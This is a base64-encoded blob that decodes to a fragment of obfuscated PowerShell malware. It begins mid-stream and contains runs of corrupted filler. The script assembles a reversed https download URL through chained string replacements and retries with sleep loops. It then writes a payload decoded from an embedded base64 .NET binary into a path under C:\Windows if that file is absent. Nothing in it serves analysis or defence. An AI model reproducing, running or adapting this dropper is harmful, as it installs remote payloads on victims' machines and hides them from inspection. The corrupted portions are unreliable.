DAAOQAwADMAMgBaAG0AawBLAGcAZgBDAHgAdwBqAHQAYgBEADEAPQBkAFAAMwA0ADIAOABaAHYAYwB4AFgAdwBXAHEAdwBXACYAZABhAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAbABuAHcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBkAD0AdAByAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAcAB4AEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4APwBjAHUALwBtAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAYwAuAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4AbABnAHAAMAAwADkAMAAzADIAWgBtAGsASwBnAGYAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgBnAC4AQgBDAFgAWABCAE4ATQA5ADAANgA0ADAATgB2AFAAMwA0ADIAOABaAHYAYwB4AFgAdwBXAHEAdwBXAHIAZAA1ADMAMgBCAHQAeQA1ADIAMQBRAHgAegBiAHYAaAB5AGcAQgB0AGgAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcANQAzADIAQgB0AHkANQAyADEAUQB4AHoAYgB2AGgAeQBnAEIAJwAsACAAJwAvAC8AOgBzAHAAdAAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAEIAQwBYAFgAQgBOAE0AOQAwADYANAAwAE4AJwAsACAAJwBlACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAcAAwADAAOQAwADMAMgBaAG0AawBLAGcAZgAnACwAIAAnAG8AJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBQADMANAAyADgAWgB2AGMAeABYAHcAVwBxAHcAVwAnACwAIAAnAGkAJwApACkAKQB9AH0AYwBhAHQAYwBoAHsAcwBsAGUAZQBwACAALQBzACAAMwAwADAAfQB9AHMAbABlAGUAcAAgAC0AcwAgADMAIgB9ADsAJABwAGUAcgBzAGkAZABhAD0AKAAnADYANQA0ADYAMwA0ADcANQA3ADQANwA1ADQANwA0AG4AZAB0AFkAMQBjADQAMgA5AEIAbQBOAEIAUgAwADMAagA0AHcAcwBcAFMAeQBzAHQAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAbQBJAGQAbABjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAuAFMAeQBzAHQAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAbQBJAGQAbABjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAnAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwBjADAANQB4AFAANQA3ADUAbgBRADQANQBNAHgAeAAnACwAIAAnAGUAJwApAC4AKAAnAHIAZQAnACsAJwBQAEwAJwArACcAQQBjACcAKwAnAGUAJwApACgAJwB0AFkAMQBjADQAMgA5AEIAbQBOAEIAUgAwADMAagA0ACcALAAgACcAbwAnACkALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnADYANQA0ADYAMwA0ADcANQA3ADQANwA1ADQANwA0ACcALAAgACcAQwA6AFwAVwBpACcAKQApADsAaQBmACAAKAAhACgAJgAoACcAVAAnACsAJwBlAHMAdAAtAFAAYQBUACcAKwAnAGgAJwApACAAJABwAGUAcgBzAGkAZABhACkAKQB7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6ACgAJwBXAHIAaQB0AGMAMAA1AHgAUAA1ADcANQBuAFEANAA1AE0AeAB4AEEAbABsAEIAeQB0AGMAMAA1AHgAUAA1ADcANQBuAFEANAA1AE0AeAB4AHMAJwAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAYwAwADUAeABQADUANwA1AG4AUQA0ADUATQB4AHgAJwAsACAAJwBlACcAKQApACgAJABwAGUAcgBzAGkAZABhACwAIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgAoACcARgByAHQAWQAxAGMANAAyADkAQgBtAE4AQgBSADAAMwBqADQAbQBCAGEAcwB3ADIARABZADgAdQBsADQAZABWAHMAcQBWAHAANAAwAGkAbgBnACcALgAoACcAcgBlACcAKwAnAFAATAAnACsAJwBBAGMAJwArACcAZQAnACkAKAAnAHQAWQAxAGMANAAyADkAQgBtAE4AQgBSADAAMwBqADQAJwAsACAAJwBvACcAKQAuACgAJwByAGUAJwArACcAUABMACcAKwAnAEEAYwAnACsAJwBlACcAKQAoACcAdwAyAEQAWQA4AHUAbAA0AGQAVgBzAHEAVgBwADQAMAAnACwAIAAnAGUANgA0AFMAdAByACcAKQApACgAJwAUAVYAcQBRAIkBiQFNAIkBiQGJAYkBRQCJAYkBiQGJAS8ALwA4AIkBiQFMAGcAiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBZwCJAYkBiQGJAYkBNABmAHUAZwA0AIkBdACJAW4ATgBJAGIAZwBCABQBTQAwAGgAVgBHAGgAcABjAHkAQgB3AGMAbQA5AG4AYwBtAEYAdABJAEcATgBoAGIAbQA1AHYAZABDAEIAaQBaAFMAQgB5AGQAVwA0AGcAYQBXADQAZwBSAEUAOQAUAUkARwAxAHYAWgBHAFUAdQBEAFEAMABLAEoAiQGJAYkBiQGJAYkBiQGJAYkBQgBRAFIAUQCJAYkBFAGJAUUARACJAUUAZABFAGgARwBRAIkBiQGJAYkBiQGJAYkBiQGJAYkBTwCJAYkBiQFnAEUATACJAVEAcwCJAYkBiQFvAIkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBRABpAGcAiQGJAYkBiQFnAIkBiQGJAYkBUQCJAYkBiQGJAYkBQgCJAYkBiQGJAWcAiQGJAYkBiQGJAWcAiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQGJAYkBiQGJAYkBiQGJAYkBQwCJAYkBiQGJAYkBiQFnAIkBiQGJAYkBiQGJAYkBiQFJAIkBUQBJAFUAiQGJAUIAiQGJAYkBQgCJAYkBiQGJAYkBiQFFAIkBiQGJAUUAiQGJAYkBiQGJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBTABRAG4AiQGJAUIAWACJAYkBiQGJAYkBRQCJAYkBiQFJAGcARgCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUcAiQGJAYkBiQF3AIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUkAiQGJAYkBQwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDAEMAiQGJAYkBRQBnAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDADUAMABaAFgAaAAwAIkBiQGJAYkBRgCJAWcAiQGJAYkBiQFnAIkBiQGJAYkBQwBnAIkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFDAIkBiQGJAUcAiQF1AGMAbgBOAHkAWQB3AIkBiQGJAUkAZwBGAIkBiQGJAYkBUQCJAYkBiQGJAYkBWQCJAYkBiQGJAU0AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQgCJAYkBiQFCAIkBTABuAEoAbABiAEcAOQBqAIkBiQGJAU0AiQGJAYkBiQGJAUcAiQGJAYkBiQGJAUMAiQGJAYkBiQFFAGcAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQFRAGcAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUQAdwBKAHcAiQGJAYkBiQGJAYkBiQFFAGcAiQGJAYkBiQFDAIkBiQFVAIkBTgBDAEUAiQGJAUkAiQFHAIkBiQGJAUIAiQGJAYkBiQGJAVEAiQGJAUIAZwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFCAHMAdwCJAXcARABIAIkBiQGJAYkBiQFRAIkBiQFFAFEAiQFDAGoAbQBrAFgALwBnAEUAVwAvAGcARQAUAUIAaABFAEcATwByAE0AiQGJAYkBiQGJAYkBaABhAGEAQwBpAGcARQCJAYkBiQFLAEMAdwBkAHYAQgBRAIkBiQFDAGcAiQFIAGIAdwBZAIkBiQGJAW8ATQBDAEcAOABIAIkBiQGJAUsAQgBtADgASQCJAYkBiQFLAIkBiQFkAHYAQwBRAIkBiQFDAG4ASQBCAIkBiQFCAHcARgBZAHcASwCJAYkBiQFCAGIAdwBvAIkBiQGJAW8AiQFDAEcAOABIAIkBiQGJAUsAYwBpADgAiQGJAUgAQgB2AEMAdwCJAYkBQwBnAIkBSQBiAHcAdwCJAYkBiQFvAE4AQgAyADgATgCJAYkBiQFLAIkBSABNAE8AiQGJAYkBSwBFAHcAUQCJAUMAVwA4AFAAiQGJAYkBSwBFAHcAYwByAEcAaABFAEgAYgB4AIkBiQGJAYkBbwAUAUIAUQCJAVIAQgBCAEUARgBiAHgARQCJAYkBiQFwAHYARQBnAIkBiQFDAGkAWQCJAUUAUQBkAHYARQB3AIkBiQFDAGgATQBHAEUAUQBZAHQAMgBkADQAVQBFAFEAYwBVAC8AZwBFABQBQgBoAEUARwBMAFEAZwBSAEIAMgA4AFUAiQGJAYkBSwCJAU4AdwCJAUsAQgBVAIkBiQGJAW8AiQGJAUMAbwCJAYkBUgCJAYkBiQGJAUkAiQFmAHcAiQFyAHEAZwCJAVUAiQGJAYkBiQGJAUUASgAUAVMAawBJAEIAiQGJAUUAiQGJAYkBiQGJAYkBiQF3AIkBiQGJAUIAMgBOAEMANAB3AEwAagBNAHcATQB6AEUANQCJAYkBiQGJAYkBiQFVAIkBYgCJAYkBiQGJAU4AiQFCAIkBiQGJAWoAZgBnAIkBiQFQAIkBSQCJAYkBQwB3AEQAiQGJAYkBagBVADMAUgB5AGEAVwA1AG4AYwB3AIkBiQGJAYkBQgBvAEIAUQCJAYkBUwCJAYkBiQGJAUMATgBWAFUAdwBDAHcAQgBRAIkBiQFFAIkBiQGJAYkBQwBOAEgAVgBVAGwARQCJAYkBiQGJAXcAiQFVAIkBiQFNAIkBiQGJAYkBiQFqAFEAbQB4AHYAWQBnAIkBiQGJAYkBiQGJAYkBiQGJAUMAiQGJAYkBQgBSAHgAVQBDAEMAiQFrAIkBiQGJAYkBiQErAGkAVQB6AIkBQgBZAIkBiQGJAUUAiQGJAYkBiQFSAIkBiQGJAYkBiQFnAIkBiQGJAYkBRQCJAYkBiQGJAUIAiQGJAYkBiQFGAFEAiQGJAYkBiQFNAIkBiQGJAYkBQgCJAYkBiQGJAYkBZwCJAYkBiQGJAUUAiQGJAYkBiQFEAIkBiQGJAYkBiQGJAYkBSwCJAYkBRQCJAYkBiQGJAYkBiQGJAVkAiQFiAIkBQgBsAIkBiQFZAIkBbgBRAEIAOQCJAYkBWQCJAXcAdwBCADkAiQGJAVkAiQFGAIkBRgBsAIkBiQFvAIkBYQB3AEYARQCJAVEAbwCJAWUAdwBGAEUAiQFRAG8AiQFtAIkBRgBFAIkBUQBvAIkBcwCJAUYARQCJAVEAbwCJATIAUQBGAEUAiQFRAFkAiQGJAVEASgBsAIkBiQFZAIkBTgBnAEkAWACJAWcAbwCJAVEAdwBJAG4AiQFRAFkAiQFaAFEASgBaAIkBZwBZAIkBagBnAEoAegCJAWcAWQCJATMAUQBMAEsAiQFnAFkAiQE4AGcASgBsAIkBiQE0AIkBRwB3AE0ARwCJAXcAiQGJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQFCAIkBiQFFAIkBZwCJAUUAUQCJAUUARQCJAVMAUQCJAUYAiQGJAUUAiQGJAVEAQgBRAEkAiQGJAYkBiQGJAUMAUgCJAUgATQCJAUMAZwCJAUIAiQGJAYkBiQGJAVEAQgA0AIkBQgBFAIkBdgBRAIkBUQCJAUIAawCJAXYAUQCJAVYAiQFDAEUAiQF2AFEAiQFWAIkBQwBrAIkBaACJAUUAbgCJAUQARQCJAWsAdwBFAFYAiQFEAEUAiQFvAFEARQBzAIkBRABrAIkBdwBnAEUAeACJAUUARQCJAXoAdwBFADIAiQFEAEUAiQE2AHcARQA3AIkBRQBrAIkBQgB3AEoAiQGJAUUARQCJAUUAdwBJADIAiQFEAGsAiQEUAYkBSgBHAIkBRABFAIkBVQB3AEkAVgCJAUcAawCJAXYAUQCJAVYAiQGJAXcAiQFuAIkBSgBXAIkBQgBRAIkBcQBnAEoAbQCJAYkBawCJAXQAZwBKAHIAiQFHAGsAiQF2AHcASgB2AIkBSABrAIkBNgBRAEoAMQCJAUkARQCJAS8AZwBJAFYAiQFJAGsAiQFKAHcATgA1AIkBQwCJAYkBRwB3AIkBWgCJAUMANACJAUMAdwBDAFcAiQFDADQAiQFFAHcAQwBmAIkBSAAwAIkBFAF3AEIAZgCJAYkBUwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAU8ARQCJAYkBiQGJAUUAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQgCJAUYAdwCJAYkBiQGJAYkBiQGJAU0AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUIANACJAUoAdwBFAIkBiQGJAYkBiQFCAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAUcAiQF3AIkBiQGJAYkBiQGJAYkBiQGJAYkBiQFEAHgATgBiADIAUgAxAGIARwBVACsAiQFHAGcAMgBNAFUASgBXAGUAVwAxAGkAYwBHAHAAbQBZAHoAUgBPAGMAegBkAFcATgBYAEYARgBiADMAWgBqAFoAagBoAHYAVgBrADQAMwAUAWoAVgBWAGMAVQBkADAATQBYAEIATwBaAEcAawAzAFIAagBFADQAUwBIAEoAaABjADAAeAB3AEwAbQBWADQAWgBRAEIAUQBjAG0AOQBuAGMAbQBGAHQAiQFFAEoAcgBaAEcAZAB6AE4AMQBVAHkATwBEAGwAcQBhAEYATgBHAFoAMwBOAGsAYQCJAUIAdABjADIATgB2AGMAbQB4AHAAWQBnAEIAFAFlAFgATgAwAFoAVwAwAIkBFAEyAEoAcQBaAFcATgAwAIkBRQAxAGgAYQBXADQAiQFZAFgASgBuAGMAdwBCABQBZQBYAE4AMABaAFcAMAB1AFUAbgBWAHUAZABHAGwAdABaAFMANQBEAGIAMgAxAHcAYQBXAHgAbABjAGwATgBsAGMAbgBaAHAAWQAyAFYAegCJAUUATgB2AGIAWABCAHAAYgBHAEYAMABhAFcAOQB1AFUAbQBWAHMAWQBYAGgAaABkAEcAbAB2AGIAbgBOAEIAZABIAFIAeQBhAFcASgAxAGQARwBVAIkBTABtAE4AMABiADMASQCJAVUAbgBWAHUAZABHAGwAdABaAFUATgB2AGIAWABCAGgAZABHAGwAaQBhAFcAeABwAGQASABsAEIAZABIAFIAeQBhAFcASgAxAGQARwBVAIkBYQBEAFkAeABRAGwAWgA1AGIAVwBKAHcAYQBtAFoAagBOAEUANQB6AE4AMQBZADEAYwBVAFYAdgBkAG0ATgBtAE8ARwA5AFcAFAFqAGQATwBOAFYAVgB4AFIAMwBRAHgAYwBFADUAawBhABQBZABHAE0AFAFoAEkAYwBtAEYAegAUAUgAiQGJAVUAMQBSAEIAVgBHAGgAeQBaAFcARgBrAFEAWABSADAAYwBtAGwAaQBkAFgAUgBsAIkBRgBOADUAYwAzAFIAbABiAFMANQBOAFkAVwA1AGgAWgAyAFYAdABaAFcANQAwAEwAawBGADEAZABHADkAdABZAFgAUgBwAGIAMgA0AIkBVQAzAGwAegBkAEcAVgB0AEwAawAxAGgAYgBtAEYAbgBaAFcAMQBsAGIAbgBRAHUAUQBYAFYAMABiADIAMQBoAGQARwBsAHYAYgBpADUAUwBkAFcANQB6AGMARwBGAGoAWgBYAE0AiQFVAG4AVgB1AGMAMwBCAGgAWQAyAFYARwBZAFcATgAwAGIAMwBKADUAiQFGAEoAMQBiAG4ATgB3AFkAVwBOAGwAiQFFAE4AeQBaAFcARgAwAFoAVgBKADEAYgBuAE4AdwBZAFcATgBsAIkBRQA5AHcAWgBXADQAiQFVAEcAbAB3AFoAVwB4AHAAYgBtAFUAiQFRADMASgBsAFkAWABSAGwAVQBHAGwAdwBaAFcAeABwAGIAbQBVAIkBUQAyADkAdABiAFcARgB1AFoARQBOAHYAYgBHAHgAbABZADMAUgBwAGIAMgA0AIkBWgAyAFYAMABYADAATgB2AGIAVwAxAGgAYgBtAFIAegCJAUUARgBrAFoARgBOAGoAYwBtAGwAdwBkAIkBQgAUAVoAWABOAHoAYQBXADkAdQBVADMAUgBoAGQARwBWAFEAYwBtADkANABlAFEAQgBuAFoAWABSAGYAVQAyAFYAegBjADIAbAB2AGIAbABOADAAWQBYAFIAbABVAEgASgB2AGUASABrAIkBUwBXADUAMABNAHoASQCJAVUAMgBWADAAVgBtAEYAeQBhAFcARgBpAGIARwBVAIkBUQBXAFIAawCJAUYATgA1AGMAMwBSAGwAYgBTADUARABiADIAeABzAFoAVwBOADAAYQBXADkAdQBjAHkANQBQAFkAbQBwAGwAWQAzAFIATgBiADIAUgBsAGIAiQFCAEQAYgAyAHgAcwBaAFcATgAwAGEAVwA5AHUAWQBEAEUAiQFVAEYATgBQAFkAbQBwAGwAWQAzAFEAiQFTAFcANQAyAGIAMgB0AGwAiQFFAE4AcwBiADMATgBsAIkBRgBOADUAYwAzAFIAbABiAFMANQBVAFoAWABoADAAiQFGAE4AMABjAG0AbAB1AFoAMABKADEAYQBXAHgAawBaAFgASQCJAVUAMwBsAHoAZABHAFYAdABMAGsATgB2AGIARwB4AGwAWQAzAFIAcABiADIANQB6AEwAawBkAGwAYgBtAFYAeQBhAFcATQCJAVMAVQBWAHUAZABXADEAbABjAG0ARgAwAGIAMwBKAGcATQBRAEIASABaAFgAUgBGAGIAbgBWAHQAWgBYAEoAaABkAEcAOQB5AIkBRwBkAGwAZABGADkARABkAFgASgB5AFoAVwA1ADAAiQFGAFIAdgBVADMAUgB5AGEAVwA1AG4AiQFFAEYAdwBjAEcAVgB1AFoARQB4AHAAYgBtAFUAiQFVADMAbAB6AGQARwBWAHQATABrAE4AdgBiAEcAeABsAFkAMwBSAHAAYgAyADUAegCJAUUAbABGAGIAbgBWAHQAWgBYAEoAaABkAEcAOQB5AIkBRQAxAHYAZABtAFYATwBaAFgAaAAwAIkBRQBsAEUAYQBYAE4AdwBiADMATgBoAFkAbQB4AGwAiQFFAFIAcABjADMAQgB2AGMAMgBVAIkBVQAzAGwAegBkAEcAVgB0AEwAbABkAHAAYgBtAFIAdgBkADMATQB1AFIAbQA5AHkAYgBYAE0AiQFRAFgAQgB3AGIARwBsAGoAWQBYAFIAcABiADIANACJAVIAWABoAHAAZACJAYkBiQFMAFUAWQCJAWIAdwBCAHkAiQFHADAAiQFZAFEAQgAwAIkBRQBVAIkBYgBnAEIAMQCJAUcAMACJAVoAUQBCAHkAiQFHAEUAiQFkAIkBQgBwAIkBRwA4AIkBYgBnAEIATQCJAUcAawCJAWIAUQBCAHAAiQFIAFEAiQGJAUIAVgBQAIkBSABVAIkBZACJAYkBdACJAUYATQCJAWQAiQFCAHkAiQFHAGsAiQFiAGcAQgBuAIkBiQFFAIkBiQGJAYkBVwBvAGgAcgBIAFkAMwB0ADEAUgBxAGgAOQBTAGwANwBZAFcARgBhADYAiQGJAWkAMwBlAGwAeABXAEcAFAEUAWcAaQBRAFUAiQGJAVEARQBkAEQAZwBRAGcAiQFRAEUASQCJAXkAiQGJAYkBUQBRAEIAiQGJAYkBiQFDAEQARwAvAE8ARgBhAHQATgBrADQAMQBCAIkBiQGJAUUAaABrAEUASQCJAYkBUwBIAFEAUQBnAIkBQgBJAGgAQgBDAIkBQgCJAVEANABFAEkAiQGJAVMASgBRAFUAZwCJAWcARQBPAEgAiQFnAGcAiQFCAFUAUwBMAFEARQBTAE0AUQBZAFYARQBpADAAQgBFAGoARQBJAEkAiQGJAVYARQBqAGsAQgBFAHcAiQFHAEYAUgBJADUAiQFSAEkAeABCAEMAiQGJAUUAdwCJAUQASQCJAYkBTwBCAFMAiQFCAEUAagBVAE8AiQF5AIkBiQGJAWcATQCJAYkBiQFFAFkAQgB3AGcATwBFAGgAawBTAEgAUgBVAFMATABRAEUAUwBNAFIASQAxAEUAagBFAEMARgBSAEkANQCJAVIASQB4AEMAiQFFAIkBQwCJAYkBiQGJAYkBiQGJAUgAZwBFAIkBiQFRAEIAVQCJAWgAWgBYAGMAbQBGAHcAFAFtADkAdQBSAFgAaABqAFoAWABCADAAYQBXADkAdQBWAEcAaAB5AGIAMwBkAHoAiQFRAIkBiQEzAEMAYwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAS8AaQBjAIkBiQGJAYkBZwCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBUACJAW4AiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUIAZgBRADIAOQB5AFIAWABoAGwAFAFXAEYAcABiAGcAQgB0AGMAMgBOAHYAYwBtAFYAbABMAG0AUgBzAGIAiQGJAYkBiQGJAYkBiQEvAHkAVQCJAUkARQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBQwCJAUIAiQGJAYkBiQGJAWcAiQGJAUMAiQFHAIkBiQGJAYkBRABnAIkBiQFJAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQFRAIkBiQGJAUYAiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBRQCJAYkBUQCJAYkBiQFHAGcAiQGJAUkAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAUUAiQGJAYkBiQGJAYkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQFFAIkBiQGJAYkBiQGJAUoAiQGJAYkBiQFDAGcAUQCJAYkBiQE5AIkBSQCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAW0ARQBNAIkBiQFPAG8AQgCJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAVAAUQBDAE4AiQGJAYkBiQFGAFkAiQFVAHcAQgBmAIkBRgBZAIkBUgBRAEIAUwCJAUYATQCJAVMAUQBCAFAAiQFFADQAiQFYAHcAQgBKAIkBRQA0AIkBUgBnAEIAUACJAYkBiQGJAYkBiQFDADkAQgBPAC8AKwCJAYkBiQFCAIkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQEvAIkBiQGJAYkBiQGJAYkBiQGJAYkBUQCJAYkBiQGJAUIAiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAYkBiQGJAVIAiQGJAYkBiQGJAUUAiQFWAGcAQgBoAIkBSABJAIkBUgBnAEIAcACJAUcAdwCJAVoAUQBCAEoAiQFHADQAiQFaAGcAQgB2AIkBiQGJAYkBiQGJAYkBawCJAYkBUQCJAYkBiQFCAFUAiQFIAEkAiQFZAFEAQgB1AIkBSABNAIkBYgCJAUIAaACJAUgAUQCJAWEAUQBCAHYAiQFHADQAiQGJAYkBiQGJAYkBiQGJAYkBcwCJAVIAVQCJAWcAiQGJAYkBUQBCABQBiQFIAFEAiQFjAGcAQgBwAIkBRwA0AIkBWgB3AEIARwCJAUcAawCJAWIAiQFCAGwAiQFFAGsAiQFiAGcAQgBtAIkBRwA4AIkBiQGJAYkBdwCJAWcAiQGJAYkBUQCJAXcAiQFEAIkBiQFNAIkBiQF3AIkBRACJAYkBTgCJAUIAaQCJAUQAiQGJAYkBiQGJAXMAiQGJAUkAiQGJAVEAQgBHAIkBRwBrAIkBYgCJAUIAbACJAUUAUQCJAVoAUQBCAHoAiQFHAE0AiQFjAGcAQgBwAIkBSACJAYkBZACJAUIAcACJAUcAOACJAWIAZwCJAYkBiQGJAYkBiQFJAIkBiQGJAYkBRACJAYkBQwCJAYkBQgCJAUUAWQCJAWEAUQBCAHMAiQFHAFUAiQFWAGcAQgBsAIkBSABJAIkBYwB3AEIAcACJAUcAOACJAWIAZwCJAYkBiQGJAYkBiQFNAIkBiQF1AIkBRACJAYkBTABnAIkBdwCJAUMANACJAU0AiQGJAYkBiQFKAIkBiQFOAHcAiQFCAIkBRQBrAIkBYgBnAEIAMACJAUcAVQCJAWMAZwBCAHUAiQFHAEUAiQFiAIkBQgBPAIkBRwBFAIkBYgBRAEIAbACJAYkBiQGJAWEAiQGJATIAiQFEAEUAiQFRAGcAQgBXAIkBSABrAIkBYgBRAEIAaQCJAUgAiQGJAWEAZwBCAG0AiQFHAE0AiQFOAIkBQgBPAIkBSABNAIkBTgB3AEIAVwCJAUQAVQCJAWMAUQBCAEYAiQFHADgAiQFkAGcAQgBqAIkBRwBZAIkBTwCJAUIAdgCJAUYAWQCJARQBZwCJATMAiQFFADQAiQFOAFEA